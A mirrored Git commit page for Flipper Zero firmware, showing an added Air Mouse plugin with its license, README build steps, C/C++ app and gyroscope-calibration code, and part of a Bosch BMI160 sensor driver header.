Mirror/Momentum-Firmware
1
0
Fork 0
mirror of https://github.com/Next-Flip/Momentum-Firmware.git synced 2026-07-20 00:48:11 -07:00
Code Issues Packages Projects Releases Wiki Activity

Application Galore

Browse Source
This commit is contained in:
VerstreuteSeele
2022-12-20 06:28:52 +01:00
parent 3ba146dab8
commit c02ce79f8c
210 changed files with 45743 additions and 114 deletions
Download Patch File Download Diff File Expand all files Collapse all files
applications/plugins/airmouse/LICENSE
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
applications/plugins/airmouse/README.md
+56
View File
@@ -0,0 +1,56 @@
# Flipper Air Mouse
## Brief
> "You can turn anything into an air mouse if you're brave enough"
— Piper, a.k.a. Pez
Naturally, the quote above applies to [Flipper](https://flipperzero.one/) as well.
## What?
The app allows you to turn your Flipper into a USB or Bluetooth air mouse (you do need an extra module, see the Hardware section below)...
Using it is really simple:
* Connect the Flipper via a USB cable and pick `USB`, or pick `Bluetooth` and pair it with your PC;
* Hold the Flipper in your hand with the buttons pointing towards the screen;
* Wave your Flipper like you don't care to move the cursor;
* Up button for Left mouse click;
* Down button for Right mouse click;
* Center button for Middle mouse click;
* Use calibration menu option if you notice significant drift (place your Flipper onto a level surface, make sure it doesn't move, run this option, wait 2 seconds, done).
See early prototype [in action](https://www.youtube.com/watch?v=DdxAmmsYfMA).
## Hardware
The custom module is using Bosch BMI160 accelerometer/gyroscope chip connected via I2C.
Take a look into the [schematic](https://github.com/ginkage/FlippAirMouse/tree/main/schematic) folder for Gerber, BOM and CPL files, so you can order directly from JLCPCB.
Original idea:
![What I thought it would look like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/schematic.png)
Expectation:
![What EDA though it would look like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/render.png)
Reality:
![What it looks like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/flipper.jpg)
## Software
The code is based on the original Bosch [driver](https://github.com/BoschSensortec/BMI160_driver/) and an orientation tracking implementation from the [Cardboard](https://github.com/googlevr/cardboard/tree/master/sdk/sensors) project
If you're familiar with Flipper applications, start in the [firmware](https://github.com/flipperdevices/flipperzero-firmware) checkout folder and do the following:
```
cd applications/plugins
git clone https://github.com/ginkage/FlippAirMouse
cd ../..
./fbt fap_air_mouse
```
If you're not familiar with those, just grab a `fap` file from Releases.
applications/plugins/airmouse/air_mouse.c
+156
View File
@@ -0,0 +1,156 @@
#include "air_mouse.h"
#include <furi.h>
#include <dolphin/dolphin.h>
#include "tracking/imu/imu.h"
#define TAG "AirMouseApp"
enum AirMouseSubmenuIndex {
AirMouseSubmenuIndexBtMouse,
AirMouseSubmenuIndexUsbMouse,
AirMouseSubmenuIndexCalibration,
};
void air_mouse_submenu_callback(void* context, uint32_t index) {
furi_assert(context);
AirMouse* app = context;
if(index == AirMouseSubmenuIndexBtMouse) {
app->view_id = AirMouseViewBtMouse;
view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewBtMouse);
} else if(index == AirMouseSubmenuIndexUsbMouse) {
app->view_id = AirMouseViewUsbMouse;
view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewUsbMouse);
} else if(index == AirMouseSubmenuIndexCalibration) {
app->view_id = AirMouseViewCalibration;
view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewCalibration);
}
}
void air_mouse_dialog_callback(DialogExResult result, void* context) {
furi_assert(context);
AirMouse* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_NONE); // Exit
} else if(result == DialogExResultRight) {
view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id); // Show last view
} else if(result == DialogExResultCenter) {
view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewSubmenu); // Menu
}
}
uint32_t air_mouse_exit_confirm_view(void* context) {
UNUSED(context);
return AirMouseViewExitConfirm;
}
uint32_t air_mouse_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
}
AirMouse* air_mouse_app_alloc() {
AirMouse* app = malloc(sizeof(AirMouse));
// Gui
app->gui = furi_record_open(RECORD_GUI);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_enable_queue(app->view_dispatcher);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Submenu view
app->submenu = submenu_alloc();
submenu_add_item(
app->submenu, "Bluetooth", AirMouseSubmenuIndexBtMouse, air_mouse_submenu_callback, app);
submenu_add_item(
app->submenu, "USB", AirMouseSubmenuIndexUsbMouse, air_mouse_submenu_callback, app);
submenu_add_item(
app->submenu,
"Calibration",
AirMouseSubmenuIndexCalibration,
air_mouse_submenu_callback,
app);
view_set_previous_callback(submenu_get_view(app->submenu), air_mouse_exit);
view_dispatcher_add_view(
app->view_dispatcher, AirMouseViewSubmenu, submenu_get_view(app->submenu));
// Dialog view
app->dialog = dialog_ex_alloc();
dialog_ex_set_result_callback(app->dialog, air_mouse_dialog_callback);
dialog_ex_set_context(app->dialog, app);
dialog_ex_set_left_button_text(app->dialog, "Exit");
dialog_ex_set_right_button_text(app->dialog, "Stay");
dialog_ex_set_center_button_text(app->dialog, "Menu");
dialog_ex_set_header(app->dialog, "Close Current App?", 16, 12, AlignLeft, AlignTop);
view_dispatcher_add_view(
app->view_dispatcher, AirMouseViewExitConfirm, dialog_ex_get_view(app->dialog));
// Bluetooth view
app->bt_mouse = bt_mouse_alloc(app->view_dispatcher);
view_set_previous_callback(bt_mouse_get_view(app->bt_mouse), air_mouse_exit_confirm_view);
view_dispatcher_add_view(
app->view_dispatcher, AirMouseViewBtMouse, bt_mouse_get_view(app->bt_mouse));
// USB view
app->usb_mouse = usb_mouse_alloc(app->view_dispatcher);
view_set_previous_callback(usb_mouse_get_view(app->usb_mouse), air_mouse_exit_confirm_view);
view_dispatcher_add_view(
app->view_dispatcher, AirMouseViewUsbMouse, usb_mouse_get_view(app->usb_mouse));
// Calibration view
app->calibration = calibration_alloc(app->view_dispatcher);
view_set_previous_callback(
calibration_get_view(app->calibration), air_mouse_exit_confirm_view);
view_dispatcher_add_view(
app->view_dispatcher, AirMouseViewCalibration, calibration_get_view(app->calibration));
app->view_id = AirMouseViewSubmenu;
view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id);
return app;
}
void air_mouse_app_free(AirMouse* app) {
furi_assert(app);
// Free views
view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewSubmenu);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewExitConfirm);
dialog_ex_free(app->dialog);
view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewBtMouse);
bt_mouse_free(app->bt_mouse);
view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewUsbMouse);
usb_mouse_free(app->usb_mouse);
view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewCalibration);
calibration_free(app->calibration);
view_dispatcher_free(app->view_dispatcher);
// Close records
furi_record_close(RECORD_GUI);
app->gui = NULL;
// Free rest
free(app);
}
int32_t air_mouse_app(void* p) {
UNUSED(p);
AirMouse* app = air_mouse_app_alloc();
if(!imu_begin()) {
air_mouse_app_free(app);
return -1;
}
DOLPHIN_DEED(DolphinDeedPluginStart);
view_dispatcher_run(app->view_dispatcher);
imu_end();
air_mouse_app_free(app);
return 0;
}
applications/plugins/airmouse/air_mouse.h
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <gui/gui.h>
#include <gui/view.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/modules/dialog_ex.h>
#include "views/bt_mouse.h"
#include "views/usb_mouse.h"
#include "views/calibration.h"
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
Submenu* submenu;
DialogEx* dialog;
BtMouse* bt_mouse;
UsbMouse* usb_mouse;
Calibration* calibration;
uint32_t view_id;
} AirMouse;
typedef enum {
AirMouseViewSubmenu,
AirMouseViewBtMouse,
AirMouseViewUsbMouse,
AirMouseViewCalibration,
AirMouseViewExitConfirm,
} AirMouseView;
applications/plugins/airmouse/application.fam
+9
View File
@@ -0,0 +1,9 @@
App(
appid="BMI160_Air_Mouse",
name="[BMI160] Air Mouse",
apptype=FlipperAppType.EXTERNAL,
entry_point="air_mouse_app",
stack_size=10 * 1024,
fap_icon="mouse_10px.png",
fap_category="GPIO",
)
applications/plugins/airmouse/mouse_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.6 KiB

applications/plugins/airmouse/tracking/calibration_data.cc
+85
View File
@@ -0,0 +1,85 @@
#include <furi.h>
#include <furi_hal.h>
#define TAG "tracker"
#include "calibration_data.h"
#include <cmath>
#include <algorithm>
// Student's distribution T value for 95% (two-sided) confidence interval.
static const double Tn = 1.960;
// Number of samples (degrees of freedom) for the corresponding T values.
static const int Nn = 200;
void CalibrationData::reset()
{
complete = false;
count = 0;
sum = Vector::Zero();
sumSq = Vector::Zero();
mean = Vector::Zero();
median = Vector::Zero();
sigma = Vector::Zero();
delta = Vector::Zero();
xData.clear();
yData.clear();
zData.clear();
}
bool CalibrationData::add(Vector& data)
{
if (complete) {
return true;
}
xData.push_back(data[0]);
yData.push_back(data[1]);
zData.push_back(data[2]);
sum += data;
sumSq += data * data;
count++;
if (count >= Nn) {
calcDelta();
complete = true;
}
return complete;
}
static inline double medianOf(std::vector<double>& list)
{
std::sort(list.begin(), list.end());
int count = list.size();
int middle = count / 2;
return (count % 2 == 1) ? list[middle] : (list[middle - 1] + list[middle]) / 2.0l;
}
void CalibrationData::calcDelta()
{
median.Set(medianOf(xData), medianOf(yData), medianOf(zData));
mean = sum / count;
Vector m2 = mean * mean;
Vector d = sumSq / count - m2;
Vector s2 = (d * count) / (count - 1);
sigma = Vector(std::sqrt(d[0]), std::sqrt(d[1]), std::sqrt(d[2]));
Vector s = Vector(std::sqrt(s2[0]), std::sqrt(s2[1]), std::sqrt(s2[2]));
delta = s * Tn / std::sqrt((double)count);
Vector low = mean - delta;
Vector high = mean + delta;
FURI_LOG_I(TAG,
"M[x] = { %f ... %f } // median = %f // avg = %f // delta = %f // sigma = %f",
low[0], high[0], median[0], mean[0], delta[0], sigma[0]);
FURI_LOG_I(TAG,
"M[y] = { %f ... %f } // median = %f // avg = %f // delta = %f // sigma = %f",
low[1], high[1], median[1], mean[1], delta[1], sigma[1]);
FURI_LOG_I(TAG,
"M[z] = { %f ... %f } // median = %f // avg = %f // delta = %f // sigma = %f",
low[2], high[2], median[2], mean[2], delta[2], sigma[2]);
}
applications/plugins/airmouse/tracking/calibration_data.h
+117
View File
@@ -0,0 +1,117 @@
#pragma once
#include <toolbox/saved_struct.h>
#include <storage/storage.h>
#include <vector>
#include "util/vector.h"
#define CALIBRATION_DATA_VER (1)
#define CALIBRATION_DATA_FILE_NAME ".calibration.data"
#define CALIBRATION_DATA_PATH INT_PATH(CALIBRATION_DATA_FILE_NAME)
#define CALIBRATION_DATA_MAGIC (0x23)
#define CALIBRATION_DATA_SAVE(x) \
saved_struct_save( \
CALIBRATION_DATA_PATH, \
(x), \
sizeof(CalibrationMedian), \
CALIBRATION_DATA_MAGIC, \
CALIBRATION_DATA_VER)
#define CALIBRATION_DATA_LOAD(x) \
saved_struct_load( \
CALIBRATION_DATA_PATH, \
(x), \
sizeof(CalibrationMedian), \
CALIBRATION_DATA_MAGIC, \
CALIBRATION_DATA_VER)
typedef struct {
double x;
double y;
double z;
} CalibrationMedian;
typedef cardboard::Vector3 Vector;
/**
* Helper class to gather some stats and store the calibration data. Right now it calculates a lot
* more stats than actually needed. Some of them are used for logging the sensors quality (and
* filing bugs), other may be required in the future, e.g. for bias.
*/
class CalibrationData {
public:
/**
* Check if the sensors were calibrated before.
*
* @return {@code true} if calibration data is available, or {@code false} otherwise.
*/
bool isComplete() {
return complete;
}
/** Prepare to collect new calibration data. */
void reset();
/**
* Retrieve the median gyroscope readings.
*
* @return Three-axis median vector.
*/
Vector getMedian() {
return median;
}
/**
* Retrieve the mean gyroscope readings.
*
* @return Three-axis mean vector.
*/
Vector getMean() {
return mean;
}
/**
* Retrieve the standard deviation of gyroscope readings.
*
* @return Three-axis standard deviation vector.
*/
Vector getSigma() {
return sigma;
}
/**
* Retrieve the confidence interval size of gyroscope readings.
*
* @return Three-axis confidence interval size vector.
*/
Vector getDelta() {
return delta;
}
/**
* Add a new gyroscope reading to the stats.
*
* @param data gyroscope values vector.
* @return {@code true} if we now have enough data for calibration, or {@code false} otherwise.
*/
bool add(Vector& data);
private:
// Calculates the confidence interval (mean +- delta) and some other related values, like
// standard deviation, etc. See https://en.wikipedia.org/wiki/Student%27s_t-distribution
void calcDelta();
int count;
bool complete;
Vector sum;
Vector sumSq;
Vector mean;
Vector median;
Vector sigma;
Vector delta;
std::vector<double> xData;
std::vector<double> yData;
std::vector<double> zData;
};
applications/plugins/airmouse/tracking/imu/bmi160.c
+5988
View File
File diff suppressed because it is too large Load Diff
applications/plugins/airmouse/tracking/imu/bmi160.h
+992
View File
@@ -0,0 +1,992 @@
/**
* Copyright (c) 2021 Bosch Sensortec GmbH. All rights reserved.
*
* BSD-3-Clause
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @file bmi160.h
* @date 2021-10-05
* @version v3.9.2
*
*/
/*!
* @defgroup bmi160 BMI160
*/
#ifndef BMI160_H_
#define BMI160_H_
/*************************** C++ guard macro *****************************/
#ifdef __cplusplus
extern "C" {
#endif
#include "bmi160_defs.h"
#ifdef __KERNEL__
#include <bmi160_math.h>
#else
#include <math.h>
#include <string.h>
#include <stdlib.h>
#endif
/*********************** User function prototypes ************************/
/**
* \ingroup bmi160
* \defgroup bmi160ApiInit Initialization
* @brief Initialize the sensor and device structure
*/
/*!
* \ingroup bmi160ApiInit
* \page bmi160_api_bmi160_init bmi160_init
* \code
* int8_t bmi160_init(struct bmi160_dev *dev);
* \endcode
* @details This API is the entry point for sensor.It performs
* the selection of I2C/SPI read mechanism according to the
* selected interface and reads the chip-id of bmi160 sensor.
*
* @param[in,out] dev : Structure instance of bmi160_dev
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_init(struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiRegs Registers
* @brief Read data from the given register address of sensor
*/
/*!
* \ingroup bmi160ApiRegs
* \page bmi160_api_bmi160_get_regs bmi160_get_regs
* \code
* int8_t bmi160_get_regs(uint8_t reg_addr, uint8_t *data, uint16_t len, const struct bmi160_dev *dev);
* \endcode
* @details This API reads the data from the given register address of sensor.
*
* @param[in] reg_addr : Register address from where the data to be read
* @param[out] data : Pointer to data buffer to store the read data.
* @param[in] len : No of bytes of data to be read.
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note For most of the registers auto address increment applies, with the
* exception of a few special registers, which trap the address. For e.g.,
* Register address - 0x24(BMI160_FIFO_DATA_ADDR)
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t
bmi160_get_regs(uint8_t reg_addr, uint8_t* data, uint16_t len, const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiRegs
* \page bmi160_api_bmi160_set_regs bmi160_set_regs
* \code
* int8_t bmi160_set_regs(uint8_t reg_addr, uint8_t *data, uint16_t len, const struct bmi160_dev *dev);
* \endcode
* @details This API writes the given data to the register address
* of sensor.
*
* @param[in] reg_addr : Register address from where the data to be written.
* @param[in] data : Pointer to data buffer which is to be written
* in the sensor.
* @param[in] len : No of bytes of data to write..
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t
bmi160_set_regs(uint8_t reg_addr, uint8_t* data, uint16_t len, const struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiSoftreset Soft reset
* @brief Perform soft reset of the sensor
*/
/*!
* \ingroup bmi160ApiSoftreset
* \page bmi160_api_bmi160_soft_reset bmi160_soft_reset
* \code
* int8_t bmi160_soft_reset(struct bmi160_dev *dev);
* \endcode
* @details This API resets and restarts the device.
* All register values are overwritten with default parameters.
*
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_soft_reset(struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiConfig Configuration
* @brief Configuration of the sensor
*/
/*!
* \ingroup bmi160ApiConfig
* \page bmi160_api_bmi160_set_sens_conf bmi160_set_sens_conf
* \code
* int8_t bmi160_set_sens_conf(struct bmi160_dev *dev);
* \endcode
* @details This API configures the power mode, range and bandwidth
* of sensor.
*
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_set_sens_conf(struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiConfig
* \page bmi160_api_bmi160_get_sens_conf bmi160_get_sens_conf
* \code
* int8_t bmi160_get_sens_conf(struct bmi160_dev *dev);
* \endcode
* @details This API gets accel and gyro configurations.
*
* @param[out] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_get_sens_conf(struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiPowermode Power mode
* @brief Set / Get power mode of the sensor
*/
/*!
* \ingroup bmi160ApiPowermode
* \page bmi160_api_bmi160_set_power_mode bmi160_set_power_mode
* \code
* int8_t bmi160_set_power_mode(struct bmi160_dev *dev);
* \endcode
* @details This API sets the power mode of the sensor.
*
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_set_power_mode(struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiPowermode
* \page bmi160_api_bmi160_get_power_mode bmi160_get_power_mode
* \code
* int8_t bmi160_get_power_mode(struct bmi160_dev *dev);
* \endcode
* @details This API gets the power mode of the sensor.
*
* @param[in] dev : Structure instance of bmi160_dev
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_get_power_mode(struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiData Sensor Data
* @brief Read sensor data
*/
/*!
* \ingroup bmi160ApiData
* \page bmi160_api_bmi160_get_sensor_data bmi160_get_sensor_data
* \code
* int8_t bmi160_get_sensor_data(uint8_t select_sensor,
* struct bmi160_sensor_data *accel,
* struct bmi160_sensor_data *gyro,
* const struct bmi160_dev *dev);
*
* \endcode
* @details This API reads sensor data, stores it in
* the bmi160_sensor_data structure pointer passed by the user.
* The user can ask for accel data ,gyro data or both sensor
* data using bmi160_select_sensor enum
*
* @param[in] select_sensor : enum to choose accel,gyro or both sensor data
* @param[out] accel : Structure pointer to store accel data
* @param[out] gyro : Structure pointer to store gyro data
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_get_sensor_data(
uint8_t select_sensor,
struct bmi160_sensor_data* accel,
struct bmi160_sensor_data* gyro,
const struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiInt Interrupt configuration
* @brief Set interrupt configuration of the sensor
*/
/*!
* \ingroup bmi160ApiInt
* \page bmi160_api_bmi160_set_int_config bmi160_set_int_config
* \code
* int8_t bmi160_set_int_config(struct bmi160_int_settg *int_config, struct bmi160_dev *dev);
* \endcode
* @details This API configures the necessary interrupt based on
* the user settings in the bmi160_int_settg structure instance.
*
* @param[in] int_config : Structure instance of bmi160_int_settg.
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_set_int_config(struct bmi160_int_settg* int_config, struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiStepC Step counter
* @brief Step counter operations
*/
/*!
* \ingroup bmi160ApiStepC
* \page bmi160_api_bmi160_set_step_counter bmi160_set_step_counter
* \code
* int8_t bmi160_set_step_counter(uint8_t step_cnt_enable, const struct bmi160_dev *dev);
* \endcode
* @details This API enables the step counter feature.
*
* @param[in] step_cnt_enable : value to enable or disable
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_set_step_counter(uint8_t step_cnt_enable, const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiStepC
* \page bmi160_api_bmi160_read_step_counter bmi160_read_step_counter
* \code
* int8_t bmi160_read_step_counter(uint16_t *step_val, const struct bmi160_dev *dev);
* \endcode
* @details This API reads the step counter value.
*
* @param[in] step_val : Pointer to store the step counter value.
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_read_step_counter(uint16_t* step_val, const struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiAux Auxiliary sensor
* @brief Auxiliary sensor operations
*/
/*!
* \ingroup bmi160ApiAux
* \page bmi160_api_bmi160_aux_read bmi160_aux_read
* \code
* int8_t bmi160_aux_read(uint8_t reg_addr, uint8_t *aux_data, uint16_t len, const struct bmi160_dev *dev);
* \endcode
* @details This API reads the mention no of byte of data from the given
* register address of auxiliary sensor.
*
* @param[in] reg_addr : Address of register to read.
* @param[in] aux_data : Pointer to store the read data.
* @param[in] len : No of bytes to read.
* @param[in] dev : Structure instance of bmi160_dev.
